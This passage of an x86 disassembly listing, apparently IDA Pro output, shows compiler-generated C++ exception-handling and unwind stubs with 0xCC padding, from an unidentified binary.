--------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- mov eax, [ebp-40h] push eax call sub_4367E2 ; --------------------------------------------------------------------------- pop ecx retn ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- mov eax, [ebp-40h] push eax call sub_4367E2 ; --------------------------------------------------------------------------- pop ecx retn ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- mov eax, [ebp-40h] push eax call sub_4367E2 ; --------------------------------------------------------------------------- pop ecx retn ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43B6A4: ; DATA XREF: ___:00425BD2o mov eax, offset dword_441928 jmp sub_4367C8 ; --------------------------------------------------------------------------- db 32h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] jmp sub_4014C4 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_426450 proc near ; DATA XREF: sub_426450+2o mov eax, offset dword_441A08 jmp sub_4367C8 SEH_426450 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] jmp sub_402031 ; --------------------------------------------------------------------------- loc_43B708: ; DATA XREF: ___:00441A64o mov ecx, [ebp-10h] add ecx, 11h jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 26h jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 3Bh jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 64h jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_4264C0 proc near ; DATA XREF: sub_4264C0+2o mov eax, offset dword_441A38 jmp sub_4367C8 SEH_4264C0 endp ; --------------------------------------------------------------------------- db 12h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] jmp sub_402031 ; --------------------------------------------------------------------------- loc_43B758: ; DATA XREF: ___:00441AB4o mov ecx, [ebp-10h] add ecx, 11h jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 26h jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 3Bh jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 64h jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_426560 proc near ; DATA XREF: sub_426560+2o mov eax, offset dword_441A88 jmp sub_4367C8 SEH_426560 endp ; --------------------------------------------------------------------------- db 12h dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_4266A0 proc near ; DATA XREF: sub_4266A0+2o mov eax, offset dword_441AD8 jmp sub_4367C8 SEH_4266A0 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] jmp sub_4014C4 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_4269A0 proc near ; DATA XREF: sub_4269A0+2o mov eax, offset dword_441B08 jmp sub_4367C8 SEH_4269A0 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_426A60 proc near ; DATA XREF: sub_426A60+2o mov eax, offset dword_441B38 jmp sub_4367C8 SEH_426A60 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] jmp sub_4014C4 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_426EB0 proc near ; DATA XREF: sub_426EB0+2o mov eax, offset dword_441B68 jmp sub_4367C8 SEH_426EB0 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_426F70 proc near ; DATA XREF: sub_426F70+2o mov eax, offset dword_441B98 jmp sub_4367C8 SEH_426F70 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] jmp sub_4014C4 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_427590 proc near ; DATA XREF: sub_427590+2o mov eax, offset dword_441BC8 jmp sub_4367C8 SEH_427590 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_427650 proc near ; DATA XREF: sub_427650+2o mov eax, offset dword_441BF8 jmp sub_4367C8 SEH_427650 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] jmp sub_40179E ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_427DC0 proc near ; DATA XREF: sub_427DC0+2o mov eax, offset dword_441C28 jmp sub_4367C8 SEH_427DC0 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] jmp sub_402031 ; --------------------------------------------------------------------------- loc_43B8A8: ; DATA XREF: ___:00441C84o mov ecx, [ebp-10h] add ecx, 11h jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 26h jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 43h jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 58h jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 6Dh jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_427E30 proc near ; DATA XREF: sub_427E30+2o mov eax, offset dword_441C58 jmp sub_4367C8 SEH_427E30 endp ; --------------------------------------------------------------------------- db 17h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] jmp sub_402031 ; --------------------------------------------------------------------------- loc_43B908: ; DATA XREF: ___:00441CDCo mov ecx, [ebp-10h] add ecx, 11h jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 26h jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 43h jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 58h jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 6Dh jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_427EF0 proc near ; DATA XREF: sub_427EF0+2o mov eax, offset dword_441CB0 jmp sub_4367C8 SEH_427EF0 endp ; --------------------------------------------------------------------------- db 17h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-28h] jmp sub_40179E ; --------------------------------------------------------------------------- loc_43B968: ; DATA XREF: ___:00441D34o mov ecx, [ebp-28h] add ecx, 0A1h jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_428160 proc near ; DATA XREF: sub_428160+2o mov eax, offset dword_441D08 jmp sub_4367C8 SEH_428160 endp ; --------------------------------------------------------------------------- db 18h dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-53ECh] jmp sub_4014B0 ; --------------------------------------------------------------------------- loc_43B9AB: ; DATA XREF: ___:00441D74o lea ecx, [ebp-5490h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-5474h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-5274h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-528Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-525Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-537Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-5334h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-522Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-5304h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-5244h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-52D4h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-545Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-5444h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-541Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-5404h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-52A4h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-5364h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-534Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-531Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-52ECh] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-52BCh] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43BA92: ; DATA XREF: sub_4282C0+8o mov eax, offset dword_441D48 jmp sub_4367C8 ; --------------------------------------------------------------------------- db 44h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] jmp sub_40179E ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_4299C0 proc near ; DATA XREF: sub_4299C0+2o mov eax, offset dword_441E30 jmp sub_4367C8 SEH_4299C0 endp ; --------------------------------------------------------------------------- align 10h mov eax, [ebp-10h] push eax call sub_4367E2 ; --------------------------------------------------------------------------- pop ecx retn ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_429AA0 proc near ; DATA XREF: sub_429AA0+2o mov eax, offset dword_441E60 jmp sub_4367C8 SEH_429AA0 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] jmp sub_40179E ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_429D00 proc near ; DATA XREF: sub_429D00+2o mov eax, offset dword_441E90 jmp sub_4367C8 SEH_429D00 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] jmp sub_40179E ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_42A090 proc near ; DATA XREF: sub_42A090+2o mov eax, offset dword_441EC0 jmp sub_4367C8 SEH_42A090 endp ; --------------------------------------------------------------------------- align 10h mov eax, [ebp-30h] push eax call sub_4367E2 ; --------------------------------------------------------------------------- pop ecx retn ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_42A150 proc near ; DATA XREF: sub_42A150+8o mov eax, offset dword_441EF0 jmp sub_4367C8 SEH_42A150 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_42AEC0 proc near ; DATA XREF: sub_42AEC0+5o mov eax, offset dword_441F20 jmp sub_4367C8 SEH_42AEC0 endp ; --------------------------------------------------------------------------- align 10h loc_43BB90: ; DATA XREF: ___:0042AFD5o mov eax, offset dword_441F80 jmp sub_4367C8 ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp+20h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43BBA8: ; DATA XREF: ___:0044200Co lea ecx, [ebp+8] jmp sub_401226 ; --------------------------------------------------------------------------- mov eax, [ebp-1A0h] push eax call sub_4367E2 ; --------------------------------------------------------------------------- pop ecx retn ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_42B060 proc near ; DATA XREF: sub_42B060+2o mov eax, offset dword_441FE0 jmp sub_4367C8 SEH_42B060 endp ; --------------------------------------------------------------------------- db 18h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 8 jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_42B240 proc near ; DATA XREF: sub_42B240+2o mov eax, offset dword_442020 jmp sub_4367C8 SEH_42B240 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] jmp sub_40179E ; --------------------------------------------------------------------------- loc_43BC08: ; DATA XREF: ___:0042B2E2o mov eax, offset dword_442050 jmp sub_4367C8 ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] jmp sub_40179E ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_42B480 proc near ; DATA XREF: sub_42B480+2o mov eax, offset dword_442080 jmp sub_4367C8 SEH_42B480 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] jmp sub_40179E ; --------------------------------------------------------------------------- mov eax, offset dword_4420B0 jmp sub_4367C8 ; --------------------------------------------------------------------------- align 10h mov eax, [ebp-30h] push eax call sub_4367E2 ; --------------------------------------------------------------------------- pop ecx retn ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_42B880 proc near ; DATA XREF: sub_42B880+8o mov eax, offset dword_4420E0 jmp sub_4367C8 SEH_42B880 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_42BB70 proc near ; DATA XREF: sub_42BB70+2o mov eax, offset dword_442110 jmp sub_4367C8 SEH_42BB70 endp ; --------------------------------------------------------------------------- db 16h dup(0CCh) ; --------------------------------------------------------------------------- mov eax, [ebp+4] push eax call sub_4367E2 ; --------------------------------------------------------------------------- pop ecx retn ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- mov eax, [ebp+4] push eax call sub_4367E2 ; --------------------------------------------------------------------------- pop ecx retn ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- mov eax, [ebp+4] push eax call sub_4367E2 ; --------------------------------------------------------------------------- pop ecx retn ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- mov eax, [ebp+4] push eax call sub_4367E2 ; --------------------------------------------------------------------------- pop ecx retn ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-54h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-6Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-74h] jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-70h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43BD84: ; DATA XREF: ___:0042BE68o mov eax, offset dword_442168 jmp sub_4367C8 ; --------------------------------------------------------------------------- db 32h dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_4347B0 proc near ; DATA XREF: sub_4347B0+2o mov eax, offset dword_442250 jmp sub_4367C8 SEH_4347B0 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-168Ch] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43BDEB: ; DATA XREF: ___:004422B4o lea ecx, [ebp-16A4h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43BDF6: ; DATA XREF: ___:004348A8o mov eax, offset dword_442288 jmp sub_4367C8 ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_4351E0 proc near ; DATA XREF: sub_4351E0+2o mov eax, offset dword_4422C0 jmp sub_4367C8 SEH_4351E0 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_4355E0 proc near ; DATA XREF: sub_4355E0+2o mov eax, offset dword_4422F0 jmp sub_4367C8 SEH_4355E0 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-128h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-128h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-128h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-128h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-128h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-128h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-128h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-128h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-128h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-128h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_4356F0 proc near ; DATA XREF: sub_4356F0+8o mov eax, offset dword_442328 jmp sub_4367C8 SEH_4356F0 endp ; --------------------------------------------------------------------------- db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 